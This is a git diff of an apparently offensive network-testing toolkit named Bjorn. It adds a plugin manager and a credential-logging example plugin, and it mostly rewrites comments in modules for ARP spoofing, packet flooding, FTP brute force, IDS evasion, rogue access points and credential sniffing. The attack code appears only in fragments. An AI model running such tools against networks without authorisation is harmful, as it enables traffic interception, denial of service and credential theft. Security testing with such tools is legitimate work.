up temp dir + if tmp_dir: + try: + shutil.rmtree(tmp_dir) + except Exception as cleanup_err: + logger.warning(f"Temp dir cleanup failed ({tmp_dir}): {cleanup_err}") + + def uninstall(self, plugin_id: str) -> dict: + """Unload plugin, remove DB entries, delete directory.""" + try: + self.unload_plugin(plugin_id) + + # Remove from DB + self.shared_data.db.delete_plugin(plugin_id) + + # Remove action entry if it was an action-type plugin + try: + self.shared_data.db.delete_action(f"plugins/{plugin_id}") + except Exception: + pass + + # Delete directory + target_dir = os.path.join(self.plugins_dir, plugin_id) + if os.path.isdir(target_dir): + shutil.rmtree(target_dir) + + # Clear any cached error + self._errors.pop(plugin_id, None) + + logger.info(f"Plugin uninstalled: {plugin_id}") + return {"status": "ok", "plugin_id": plugin_id} + + except Exception as e: + logger.error(f"Plugin uninstall failed for {plugin_id}: {e}") + return {"status": "error", "message": "Uninstall failed"} + + def toggle_plugin(self, plugin_id: str, enabled: bool) -> None: + """Enable/disable a plugin. Update DB, load/unload accordingly.""" + self.shared_data.db.set_plugin_enabled(plugin_id, enabled) + + if enabled: + self.load_plugin(plugin_id) + else: + self.unload_plugin(plugin_id) + + logger.info(f"Plugin {plugin_id} {'enabled' if enabled else 'disabled'}") + + # ── Dependency Checking ────────────────────────────────────────── + + def check_dependencies(self, meta: dict) -> dict: + """Check pip and system dependencies. Returns {"ok": bool, "missing": [...]}.""" + requires = meta.get("requires", {}) + missing = [] + + # Check pip packages + for pkg in requires.get("pip", []): + pkg_name = pkg.split(">=")[0].split("==")[0].split("<")[0].strip() + if importlib.util.find_spec(pkg_name) is None: + missing.append(f"pip:{pkg}") + + # Check system commands + for cmd in requires.get("system", []): + if shutil.which(cmd) is None: + missing.append(f"system:{cmd}") + + return {"ok": len(missing) == 0, "missing": missing} + + # ── Status ─────────────────────────────────────────────────────── + + def get_plugin_status(self, plugin_id: str) -> str: + """Return status string: 'loaded', 'disabled', 'error', 'not_installed'.""" + if plugin_id in self._instances: + return "loaded" + if plugin_id in self._errors: + return "error" + db_rec = self.shared_data.db.get_plugin_config(plugin_id) + if db_rec: + return "disabled" if not db_rec.get("enabled", 1) else "error" + return "not_installed" + + def get_all_status(self) -> List[dict]: + """Return status for all known plugins (discovered + DB).""" + result = [] + db_plugins = {p["plugin_id"]: p for p in self.shared_data.db.list_plugins_db()} + + # Include discovered plugins + discovered = self.discover_plugins() + seen = set() + + for meta in discovered: + pid = meta["id"] + seen.add(pid) + db_rec = db_plugins.get(pid, {}) + result.append({ + "id": pid, + "name": meta.get("name", pid), + "description": meta.get("description", ""), + "version": meta.get("version", "?"), + "author": meta.get("author", ""), + "type": meta.get("type", "unknown"), + "enabled": bool(db_rec.get("enabled", 1)), + "status": self.get_plugin_status(pid), + "hooks": meta.get("hooks", []), + "has_config": bool(meta.get("config_schema")), + "error": self._errors.get(pid), + "dependencies": self.check_dependencies(meta), + }) + + # Include DB-only entries (installed but directory removed?) + for pid, db_rec in db_plugins.items(): + if pid not in seen: + meta = db_rec.get("meta", {}) + result.append({ + "id": pid, + "name": meta.get("name", pid), + "description": meta.get("description", ""), + "version": meta.get("version", "?"), + "author": meta.get("author", ""), + "type": meta.get("type", "unknown"), + "enabled": bool(db_rec.get("enabled", 0)), + "status": "missing", + "hooks": [], + "has_config": False, + "error": "Plugin directory not found", + }) + + return result + + # ── Private Helpers ────────────────────────────────────────────── + + def _set_error(self, plugin_id: str, message: str) -> None: + """Set an error for a plugin, with bounded error dict size.""" + if len(self._errors) >= _MAX_ERRORS: + # Evict oldest entry (arbitrary, just keep bounded) + try: + oldest_key = next(iter(self._errors)) + del self._errors[oldest_key] + except StopIteration: + pass + self._errors[plugin_id] = message + + def _get_merged_config(self, plugin_id: str, meta: Optional[dict]) -> dict: + """Merge schema defaults with DB-stored user config.""" + schema = (meta or {}).get("config_schema", {}) + defaults = self._extract_defaults(meta or {}) + + db_rec = self.shared_data.db.get_plugin_config(plugin_id) + if db_rec and db_rec.get("config"): + merged = dict(defaults) + merged.update(db_rec["config"]) + return merged + + return defaults + + @staticmethod + def _extract_defaults(meta: dict) -> dict: + """Extract default values from config_schema.""" + schema = meta.get("config_schema", {}) + return {k: spec.get("default") for k, spec in schema.items()} + + @staticmethod + def _coerce_value(value: Any, spec: dict) -> Any: + """Coerce a config value to the type declared in the schema.""" + vtype = spec.get("type", "string") + try: + if vtype == "int" or vtype == "number": + return int(value) + elif vtype == "float": + return float(value) + elif vtype in ("bool", "boolean"): + if isinstance(value, str): + return value.lower() in ("true", "1", "yes", "on") + return bool(value) + elif vtype == "select": + choices = spec.get("choices", []) + return value if value in choices else spec.get("default") + elif vtype == "multiselect": + if isinstance(value, list): + return value + return spec.get("default", []) + else: + return str(value) if value is not None else spec.get("default", "") + except (ValueError, TypeError): + return spec.get("default") diff --git a/plugins/example_notifier/example_notifier.py b/plugins/example_notifier/example_notifier.py new file mode 100644 index 0000000..b2e2468 --- /dev/null +++ b/plugins/example_notifier/example_notifier.py @@ -0,0 +1,69 @@ +"""example_notifier.py - Example Bjorn plugin that logs events to the console. + +This plugin demonstrates how to: + - Extend BjornPlugin + - Use config values from plugin.json config_schema + - Subscribe to hooks (on_credential_found, on_vulnerability_found, etc.) + - Use the PluginLogger for namespaced logging + - Access the database via self.db + +Copy this directory as a starting point for your own plugin! +""" + +from bjorn_plugin import BjornPlugin + + +class ExampleNotifier(BjornPlugin): + """Logs security events to the Bjorn console.""" + + def setup(self): + """Called once when the plugin is loaded.""" + self.prefix = self.config.get("custom_prefix", "ALERT") + self.log.info(f"Example Notifier ready (prefix={self.prefix})") + + def teardown(self): + """Called when the plugin is unloaded.""" + self.log.info("Example Notifier stopped") + + # ── Hook implementations ───────────────────────────────────────── + + def on_host_discovered(self, host): + """Fired when a new host appears on the network.""" + mac = host.get("mac_address", "?") + ips = host.get("ips", "?") + self.log.info(f"[{self.prefix}] New host: {mac} ({ips})") + + def on_credential_found(self, cred): + """Fired when a new credential is stored in the DB.""" + if not self.config.get("log_credentials", True): + return + + service = cred.get("service", "?") + user = cred.get("user", "?") + ip = cred.get("ip", "?") + self.log.success( + f"[{self.prefix}] Credential found! {service}://{user}@{ip}" + ) + + def on_vulnerability_found(self, vuln): + """Fired when a new vulnerability is recorded.""" + if not self.config.get("log_vulnerabilities", True): + return + + cve = vuln.get("cve_id", "?") + ip = vuln.get("ip", "?") + severity = vuln.get("severity", "?") + self.log.warning( + f"[{self.prefix}] Vulnerability: {cve} on {ip} (severity={severity})" + ) + + def on_action_complete(self, action_name, success, target): + """Fired after any orchestrated action finishes.""" + if not self.config.get("log_actions", False): + return + + status = "SUCCESS" if success else "FAILED" + ip = target.get("ip", "?") + self.log.info( + f"[{self.prefix}] Action {action_name} {status} on {ip}" + ) diff --git a/plugins/example_notifier/plugin.json b/plugins/example_notifier/plugin.json new file mode 100644 index 0000000..1691009 --- /dev/null +++ b/plugins/example_notifier/plugin.json @@ -0,0 +1,52 @@ +{ + "id": "example_notifier", + "name": "Example Notifier", + "description": "Logs events to console when credentials or vulnerabilities are found. Use as a template for building your own plugins.", + "author": "Bjorn Team", + "version": "1.0.0", + "license": "MIT", + "type": "notifier", + "main": "example_notifier.py", + "class": "ExampleNotifier", + "tags": ["example", "template", "notifier"], + + "config_schema": { + "log_credentials": { + "type": "boolean", + "label": "Log new credentials", + "default": true, + "help": "Log to console when new credentials are discovered" + }, + "log_vulnerabilities": { + "type": "boolean", + "label": "Log new vulnerabilities", + "default": true, + "help": "Log to console when new vulnerabilities are found" + }, + "log_actions": { + "type": "boolean", + "label": "Log action completions", + "default": false, + "help": "Log every action result (can be noisy)" + }, + "custom_prefix": { + "type": "string", + "label": "Log prefix", + "default": "ALERT", + "help": "Custom prefix for log messages" + } + }, + + "hooks": [ + "on_credential_found", + "on_vulnerability_found", + "on_action_complete", + "on_host_discovered" + ], + + "requires": { + "pip": [], + "system": [], + "bjorn_min_version": "1.0.0" + } +} diff --git a/resources/default_config/actions/arp_spoofer.py b/resources/default_config/actions/arp_spoofer.py index 83cb8f3..4f3e149 100644 --- a/resources/default_config/actions/arp_spoofer.py +++ b/resources/default_config/actions/arp_spoofer.py @@ -1,13 +1,4 @@ -# AARP Spoofer by poisoning the ARP cache of a target and a gateway. -# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target IP address of the target device (overrides saved value). -# -g, --gateway IP address of the gateway (overrides saved value). -# -i, --interface Network interface (default: primary or saved). -# -d, --delay Delay between ARP packets in seconds (default: 2 or saved). -# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY -# - Subsequent: python arpspoofer.py (uses saved settings). -# - Update: Provide any argument to override saved values. +"""arp_spoofer.py - ARP cache poisoning between target and gateway (scapy).""" import os import json @@ -19,7 +10,7 @@ from scapy.all import ARP, send, sr1, conf b_class = "ARPSpoof" b_module = "arp_spoofer" b_enabled = 0 -# Répertoire et fichier de paramètres +# Settings directory and file SETTINGS_DIR = "/home/bjorn/.settings_bjorn" SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json") @@ -29,7 +20,7 @@ class ARPSpoof: self.gateway_ip = gateway_ip self.interface = interface self.delay = delay - conf.iface = self.interface # Set the interface + conf.iface = self.interface print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s") def get_mac(self, ip): @@ -144,7 +135,7 @@ if __name__ == "__main__": parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)") args = parser.parse_args() - # Load saved settings and override with CLI arguments + # Load saved settings, override with CLI args settings = load_settings() target_ip = args.target or settings.get("target") gateway_ip = args.gateway or settings.get("gateway") @@ -155,9 +146,9 @@ if __name__ == "__main__": print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.") exit(1) - # Save the settings for future use + # Persist settings for future runs save_settings(target_ip, gateway_ip, interface, delay) - # Execute the attack + # Launch ARP spoof spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay) spoof.execute() diff --git a/resources/default_config/actions/berserker_force.py b/resources/default_config/actions/berserker_force.py index 7537bf7..c93d3ad 100644 --- a/resources/default_config/actions/berserker_force.py +++ b/resources/default_config/actions/berserker_force.py @@ -1,11 +1,4 @@ -# Resource exhaustion testing tool for network and service stress analysis. -# Saves settings in `/home/bjorn/.settings_bjorn/berserker_force_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -t, --target Target IP or hostname to test. -# -p, --ports Ports to test (comma-separated, default: common ports). -# -m, --mode Test mode (syn, udp, http, mixed, default: mixed). -# -r, --rate Packets per second (default: 100). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stress). +"""berserker_force.py - Network stress testing via SYN/UDP/HTTP floods (scapy-based).""" import os import json diff --git a/resources/default_config/actions/demo_action.py b/resources/default_config/actions/demo_action.py index 61b126b..8b4b816 100644 --- a/resources/default_config/actions/demo_action.py +++ b/resources/default_config/actions/demo_action.py @@ -1,9 +1,4 @@ -# demo_action.py -# Demonstration Action: wrapped in a DemoAction class - -# --------------------------------------------------------------------------- -# Metadata (compatible with sync_actions / Neo launcher) -# --------------------------------------------------------------------------- +"""demo_action.py - Minimal action template that just prints received arguments.""" b_class = "DemoAction" b_module = "demo_action" b_enabled = 1 diff --git a/resources/default_config/actions/dns_pillager.py b/resources/default_config/actions/dns_pillager.py index 3f67adb..d11b865 100644 --- a/resources/default_config/actions/dns_pillager.py +++ b/resources/default_config/actions/dns_pillager.py @@ -1,11 +1,4 @@ -# DNS Pillager for reconnaissance and enumeration of DNS infrastructure. -# Saves settings in `/home/bjorn/.settings_bjorn/dns_pillager_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -d, --domain Target domain for enumeration (overrides saved value). -# -w, --wordlist Path to subdomain wordlist (default: built-in list). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/dns). -# -t, --threads Number of threads for scanning (default: 10). -# -r, --recursive Enable recursive enumeration of discovered subdomains. +"""dns_pillager.py - DNS recon and subdomain enumeration with threaded brute.""" import os import json diff --git a/resources/default_config/actions/freya_harvest.py b/resources/default_config/actions/freya_harvest.py index f70d37e..010a34e 100644 --- a/resources/default_config/actions/freya_harvest.py +++ b/resources/default_config/actions/freya_harvest.py @@ -1,11 +1,4 @@ -# Data collection and organization tool to aggregate findings from other modules. -# Saves settings in `/home/bjorn/.settings_bjorn/freya_harvest_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --input Input directory to monitor (default: /home/bjorn/Bjorn/data/output/). -# -o, --output Output directory for reports (default: /home/bjorn/Bjorn/data/reports). -# -f, --format Output format (json, html, md, default: all). -# -w, --watch Watch for new findings in real-time. -# -c, --clean Clean old data before processing. +"""freya_harvest.py - Aggregates findings from other modules into JSON/HTML/MD reports.""" import os import json diff --git a/resources/default_config/actions/ftp_bruteforce.py b/resources/default_config/actions/ftp_bruteforce.py index 4ebdd42..0f120f3 100644 --- a/resources/default_config/actions/ftp_bruteforce.py +++ b/resources/default_config/actions/ftp_bruteforce.py @@ -1,10 +1,4 @@ -""" -ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='ftp') -- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.) -""" +"""ftp_bruteforce.py - FTP bruteforce with DB-backed credential storage.""" import os import threading @@ -27,11 +21,11 @@ b_parent = None b_service = '["ftp"]' b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]' b_priority = 70 -b_cooldown = 1800, # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800, # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day class FTPBruteforce: - """Wrapper orchestrateur -> FTPConnector.""" + """Orchestrator wrapper -> FTPConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -39,13 +33,13 @@ class FTPBruteforce: logger.info("FTPConnector initialized.") def bruteforce_ftp(self, ip, port): - """Lance le bruteforce FTP pour (ip, port).""" + """Run FTP bruteforce for (ip, port).""" return self.ftp_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d’entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point (returns ‘success’ / ‘failed’).""" self.shared_data.bjorn_orch_status = "FTPBruteforce" - # comportement original : un petit délai visuel + # Original behavior: small visual delay time.sleep(5) logger.info(f"Brute forcing FTP on {ip}:{port}...") success, results = self.bruteforce_ftp(ip, port) @@ -53,12 +47,11 @@ class FTPBruteforce: class FTPConnector: - """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname).""" + """Handles FTP attempts, DB persistence, IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -70,7 +63,7 @@ class FTPConnector: self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port] self.queue = Queue() - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -181,7 +174,7 @@ class FTPConnector: finally: self.queue.task_done() - # Pause configurable entre chaque tentative FTP + # Configurable delay between FTP attempts if getattr(self.shared_data, "timewait_ftp", 0) > 0: time.sleep(self.shared_data.timewait_ftp) @@ -190,7 +183,7 @@ class FTPConnector: mac_address = self.mac_for_ip(adresse_ip) hostname = self.hostname_for_ip(adresse_ip) or "" - total_tasks = len(self.users) * len(self.passwords) + 1 # (logique d'origine conservée) + total_tasks = len(self.users) * len(self.passwords) + 1 # (original logic preserved) if len(self.users) * len(self.passwords) == 0: logger.warning("No users/passwords loaded. Abort.") return False, [] diff --git a/resources/default_config/actions/heimdall_guard.py b/resources/default_config/actions/heimdall_guard.py index 213a322..0bb1797 100644 --- a/resources/default_config/actions/heimdall_guard.py +++ b/resources/default_config/actions/heimdall_guard.py @@ -1,11 +1,4 @@ -# Stealth operations module for IDS/IPS evasion and traffic manipulation.a -# Saves settings in `/home/bjorn/.settings_bjorn/heimdall_guard_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --interface Network interface to use (default: active interface). -# -m, --mode Operating mode (timing, random, fragmented, all). -# -d, --delay Base delay between operations in seconds (default: 1). -# -r, --randomize Randomization factor for timing (default: 0.5). -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/stealth). +"""heimdall_guard.py - IDS/IPS evasion via timing jitter, fragmentation, and traffic shaping.""" import os import json diff --git a/resources/default_config/actions/idle.py b/resources/default_config/actions/idle.py index f82e290..5ddedf5 100644 --- a/resources/default_config/actions/idle.py +++ b/resources/default_config/actions/idle.py @@ -1,3 +1,5 @@ +"""idle.py - No-op placeholder action for when Bjorn has nothing to do.""" + from shared import SharedData b_class = "IDLE" diff --git a/resources/default_config/actions/loki_deceiver.py b/resources/default_config/actions/loki_deceiver.py index ae956e3..35d66ca 100644 --- a/resources/default_config/actions/loki_deceiver.py +++ b/resources/default_config/actions/loki_deceiver.py @@ -1,11 +1,4 @@ -# WiFi deception tool for creating malicious access points and capturing authentications. -# Saves settings in `/home/bjorn/.settings_bjorn/loki_deceiver_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --interface Wireless interface for AP creation (default: wlan0). -# -s, --ssid SSID for the fake access point (or target to clone). -# -c, --channel WiFi channel (default: 6). -# -p, --password Optional password for WPA2 AP. -# -o, --output Output directory (default: /home/bjorn/Bjorn/data/output/wifi). +"""loki_deceiver.py - Rogue AP creation and WiFi auth capture (scapy/hostapd).""" import os import json diff --git a/resources/default_config/actions/nmap_vuln_scanner.py b/resources/default_config/actions/nmap_vuln_scanner.py index 5162f5e..33bb742 100644 --- a/resources/default_config/actions/nmap_vuln_scanner.py +++ b/resources/default_config/actions/nmap_vuln_scanner.py @@ -1,9 +1,4 @@ -# actions/NmapVulnScanner.py -""" -Vulnerability Scanner Action -Scanne ultra-rapidement CPE (+ CVE via vulners si dispo), -avec fallback "lourd" optionnel. -""" +"""nmap_vuln_scanner.py - CPE + CVE vulnerability scanning via nmap/vulners.""" import nmap import json @@ -16,7 +11,7 @@ from logger import Logger logger = Logger(name="NmapVulnScanner.py", level=logging.DEBUG) -# Paramètres pour le scheduler (inchangés) +# Scheduler parameters b_class = "NmapVulnScanner" b_module = "nmap_vuln_scanner" b_status = "NmapVulnScanner" @@ -34,7 +29,7 @@ b_rate_limit = None class NmapVulnScanner: - """Scanner de vulnérabilités via nmap (mode rapide CPE/CVE).""" + """Vulnerability scanner via nmap (fast CPE/CVE mode).""" def __init__(self, shared_data: SharedData): self.shared_data = shared_data @@ -48,14 +43,14 @@ class NmapVulnScanner: logger.info(f"Starting vulnerability scan for {ip}") self.shared_data.bjorn_orch_status = "NmapVulnScanner" - # 1) metadata depuis la queue + # 1) metadata from the queue meta = {} try: meta = json.loads(row.get('metadata') or '{}') except Exception: pass - # 2) récupérer ports (ordre: row -> metadata -> DB par MAC -> DB par IP) + # 2) resolve ports (order: row -> metadata -> DB by MAC -> DB by IP) ports_str = ( row.get("Ports") or row.get("ports") or meta.get("ports_snapshot") or "" @@ -89,19 +84,19 @@ class NmapVulnScanner: ports = [p.strip() for p in ports_str.split(';') if p.strip()] mac = mac or row.get("MAC Address") or "" - # NEW: skip ports déjà scannés (sauf si TTL expiré) + # Skip already-scanned ports (unless TTL expired) ports = self._filter_ports_already_scanned(mac, ports) if not ports: logger.info(f"No new/changed ports to scan for {ip}") - # touche quand même les statuts pour désactiver d'éventuelles anciennes entrées + # Still touch statuses to deactivate stale entries self.save_vulnerabilities(mac, ip, []) return 'success' - - # Scanner (mode rapide par défaut) + + # Scan (fast mode by default) findings = self.scan_vulnerabilities(ip, ports) - # Persistance (split CVE/CPE) + # Persistence (split CVE/CPE) self.save_vulnerabilities(mac, ip, findings) logger.success(f"Vuln scan done on {ip}: {len(findings)} entries") return 'success' @@ -112,18 +107,18 @@ class NmapVulnScanner: def _filter_ports_already_scanned(self, mac: str, ports: List[str]) -> List[str]: """ - Retourne la liste des ports à scanner en excluant ceux déjà scannés récemment. - - Config: + Return ports to scan, excluding recently scanned ones. + Config: vuln_rescan_on_change_only (bool, default True) - vuln_rescan_ttl_seconds (int, 0 = désactivé) + vuln_rescan_ttl_seconds (int, 0 = disabled) """ if not ports: return [] if not bool(self.shared_data.config.get('vuln_rescan_on_change_only', True)): - return ports # pas de filtrage + return ports # no filtering - # Ports déjà couverts par detected_software (is_active=1) + # Ports already covered by detected_software (is_active=1) rows = self.shared_data.db.query(""" SELECT port, last_seen FROM detected_software @@ -149,21 +144,21 @@ class NmapVulnScanner: dt = datetime.fromisoformat(ls.replace('Z','')) return dt >= cutoff except Exception: - return True # si doute, on considère "frais" + return True # if in doubt, consider it fresh return [p for p in ports if (p not in seen) or (not fresh(p))] else: - # Sans TTL: si déjà scanné/présent actif => on skip + # No TTL: if already scanned/active => skip return [p for p in ports if p not in seen] # ---------------------------- Scanning ------------------------------ # def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]: """ - Mode rapide (par défaut) : - - nmap -sV --version-light sur un set réduit de ports - - CPE extraits directement du service detection - - (option) --script=vulners pour extraire CVE (si script installé) - Fallback (si vuln_fast=False) : ancien mode avec scripts 'vuln', etc. + Fast mode (default): + - nmap -sV --version-light on a reduced port set + - CPE extracted directly from service detection + - (optional) --script=vulners to extract CVE (if script installed) + Fallback (vuln_fast=False): legacy mode with 'vuln' scripts, etc. """ fast = bool(self.shared_data.config.get('vuln_fast', True)) use_vulners = bool(self.shared_data.config.get('nse_vulners', False)) @@ -182,7 +177,7 @@ class NmapVulnScanner: return self._scan_heavy(ip, port_list) def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]: - """Scan rapide pour récupérer CPE et (option) CVE via vulners.""" + """Fast scan to extract CPE and (optionally) CVE via vulners.""" vulns: List[Dict] = [] args = "-sV --version-light -T4 --max-retries 1 --host-timeout 30s --script-timeout 10s" @@ -206,7 +201,7 @@ class NmapVulnScanner: port_info = host[proto][port] service = port_info.get('name', '') or '' - # 1) CPE depuis -sV + # 1) CPE from -sV cpe_values = self._extract_cpe_values(port_info) for cpe in cpe_values: vulns.append({ @@ -217,7 +212,7 @@ class NmapVulnScanner: 'details': f"CPE detected: {cpe}"[:500] }) - # 2) CVE via script 'vulners' (si actif) + # 2) CVE via 'vulners' script (if enabled) try: script_out = (port_info.get('script') or {}).get('vulners') if script_out: @@ -235,7 +230,7 @@ class NmapVulnScanner: return vulns def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]: - """Ancienne stratégie (plus lente) avec catégorie vuln, etc.""" + """Legacy strategy (slower) with vuln category scripts, etc.""" vulnerabilities: List[Dict] = [] vuln_scripts = [ 'vuln','exploit','http-vuln-*','smb-vuln-*', @@ -272,7 +267,7 @@ class NmapVulnScanner: 'details': str(output)[:500] }) if 'vuln' in (script_name or '') and not self.extract_cves(str(output)): - # On ne stocke plus ces 'FINDING' (pas de CVE) + # Skip findings without CVE IDs pass if bool(self.shared_data.config.get('scan_cpe', False)): @@ -285,7 +280,7 @@ class NmapVulnScanner: # ---------------------------- Helpers -------------------------------- # def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]: - """Normalise tous les formats possibles de CPE renvoyés par python-nmap.""" + """Normalize all CPE formats returned by python-nmap.""" cpe = port_info.get('cpe') if not cpe: return [] @@ -300,7 +295,7 @@ class NmapVulnScanner: return [] def extract_cves(self, text: str) -> List[str]: - """Extrait les identifiants CVE d'un texte.""" + """Extract CVE identifiers from text.""" import re if not text: return [] @@ -308,7 +303,7 @@ class NmapVulnScanner: return re.findall(cve_pattern, str(text), re.IGNORECASE) def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]: - """(Fallback lourd) Scan CPE détaillé si demandé.""" + """(Heavy fallback) Detailed CPE scan if requested.""" cpe_vulns: List[Dict] = [] try: port_list = ','.join([str(p) for p in ports if str(p).strip()]) @@ -340,9 +335,9 @@ class NmapVulnScanner: # ---------------------------- Persistence ---------------------------- # def save_vulnerabilities(self, mac: str, ip: str, findings: List[Dict]): - """Sépare CPE et CVE, met à jour les statuts + enregistre les nouveautés avec toutes les infos.""" - - # Récupérer le hostname depuis la DB + """Split CPE/CVE, update statuses, and persist new findings with full info.""" + + # Fetch hostname from DB hostname = None try: host_row = self.shared_data.db.query_one( @@ -354,7 +349,7 @@ class NmapVulnScanner: except Exception as e: logger.debug(f"Could not fetch hostname: {e}") - # Grouper par port avec les infos complètes + # Group by port with full info findings_by_port = {} for f in findings: port = int(f.get('port', 0) or 0) @@ -376,26 +371,26 @@ class NmapVulnScanner: elif vid.lower().startswith('cpe:'): findings_by_port[port]['cpes'].add(vid) - # 1) Traiter les CVE par port + # 1) Process CVEs by port for port, data in findings_by_port.items(): if data['cves']: for cve in data['cves']: try: - # Vérifier si existe déjà + # Check if already exists existing = self.shared_data.db.query_one( "SELECT id FROM vulnerabilities WHERE mac_address=? AND vuln_id=? AND port=? LIMIT 1", (mac, cve, port) ) if existing: - # Mettre à jour avec IP et hostname + # Update with IP and hostname self.shared_data.db.execute(""" UPDATE vulnerabilities SET ip=?, hostname=?, last_seen=CURRENT_TIMESTAMP, is_active=1 WHERE mac_address=? AND vuln_id=? AND port=? """, (ip, hostname, mac, cve, port)) else: - # Nouvelle entrée avec toutes les infos + # New entry with full info self.shared_data.db.execute(""" INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active) VALUES(?,?,?,?,?,1) @@ -406,7 +401,7 @@ class NmapVulnScanner: except Exception as e: logger.error(f"Failed to save CVE {cve}: {e}") - # 2) Traiter les CPE + # 2) Process CPEs for port, data in findings_by_port.items(): for cpe in data['cpes']: try: diff --git a/resources/default_config/actions/odin_eye.py b/resources/default_config/actions/odin_eye.py index b709c79..e0cab35 100644 --- a/resources/default_config/actions/odin_eye.py +++ b/resources/default_config/actions/odin_eye.py @@ -1,5 +1,6 @@ +"""odin_eye.py - Dynamic network interface detection and monitoring.""" -# --- AJOUTS EN HAUT DU FICHIER --------------------------------------------- +# --- Dynamic interface detection --- import os try: import psutil @@ -9,13 +10,13 @@ except Exception: def _list_net_ifaces() -> list[str]: names = set() - # 1) psutil si dispo + # 1) psutil if available if psutil: try: names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo") except Exception: pass - # 2) fallback kernel + # 2) kernel fallback try: for n in os.listdir("/sys/class/net"): if n and n != "lo": @@ -23,7 +24,7 @@ def _list_net_ifaces() -> list[str]: except Exception: pass out = ["auto"] + sorted(names) - # sécurité: pas de doublons + # deduplicate seen, unique = set(), [] for x in out: if x not in seen: @@ -31,7 +32,7 @@ def _list_net_ifaces() -> list[str]: return unique -# Hook appelée par le backend avant affichage UI / sync DB +# Hook called by the backend before UI display / DB sync def compute_dynamic_b_args(base: dict) -> dict: """ Compute dynamic arguments at runtime. @@ -54,21 +55,20 @@ def compute_dynamic_b_args(base: dict) -> dict: return d -# --- MÉTADONNÉES UI SUPPLÉMENTAIRES ----------------------------------------- -# Exemples d’arguments (affichage frontend; aussi persisté en DB via sync_actions) +# --- Additional UI metadata --- +# Example arguments (frontend display; also persisted in DB via sync_actions) b_examples = [ {"interface": "auto", "filter": "http or ftp", "timeout": 120, "max_packets": 5000, "save_credentials": True}, {"interface": "wlan0", "filter": "(http or smtp) and not broadcast", "timeout": 300, "max_packets": 10000}, ] -# Lien MD (peut être un chemin local servi par votre frontend, ou un http(s)) -# Exemple: un README markdown stocké dans votre repo +# Docs link (local path served by frontend, or http(s)) b_docs_url = "docs/actions/OdinEye.md" -# --- Métadonnées d'action (consommées par shared.generate_actions_json) ----- +# --- Action metadata (consumed by shared.generate_actions_json) --- b_class = "OdinEye" -b_module = "odin_eye" # nom du fichier sans .py +b_module = "odin_eye" b_enabled = 0 b_action = "normal" b_category = "recon" @@ -81,20 +81,20 @@ b_author = "Fabien / Cyberviking" b_version = "1.0.0" b_icon = "OdinEye.png" -# Schéma d'arguments pour UI dynamique (clé == nom du flag sans '--') +# UI argument schema (key == flag name without '--') b_args = { "interface": { "type": "select", "label": "Network Interface", - "choices": [], # <- Laisser vide: rempli dynamiquement par compute_dynamic_b_args(...) + "choices": [], # Populated dynamically by compute_dynamic_b_args() "default": "auto", - "help": "Interface à écouter. 'auto' tente de détecter l'interface par défaut." }, + "help": "Interface to listen on. 'auto' tries to detect the default interface." }, "filter": {"type": "text", "label": "BPF Filter", "default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"}, "output": {"type": "text", "label": "Output dir", "default": "/home/bjorn/Bjorn/data/output/packets"}, "timeout": {"type": "number", "label": "Timeout (s)", "min": 10, "max": 36000, "step": 1, "default": 300}, "max_packets": {"type": "number", "label": "Max packets", "min": 100, "max": 2000000, "step": 100, "default": 10000}, } -# ----------------- Code d'analyse (ton code existant) ----------------------- +# --- Traffic analysis code --- import os, json, pyshark, argparse, logging, re, threading, signal from datetime import datetime from collections import defaultdict @@ -249,7 +249,7 @@ class OdinEye: def execute(self): try: - # Timeout thread (inchangé) ... + # Timeout thread if self.timeout and self.timeout > 0: def _stop_after(): self.stop_capture.wait(self.timeout) @@ -260,13 +260,13 @@ class OdinEye: self.capture = pyshark.LiveCapture(interface=self.interface, bpf_filter=self.capture_filter) - # Interruption douce — SKIP si on tourne en mode importlib (thread) + # Graceful interrupt - skip if running in importlib (threaded) mode if os.environ.get("BJORN_EMBEDDED") != "1": try: signal.signal(signal.SIGINT, self.handle_interrupt) 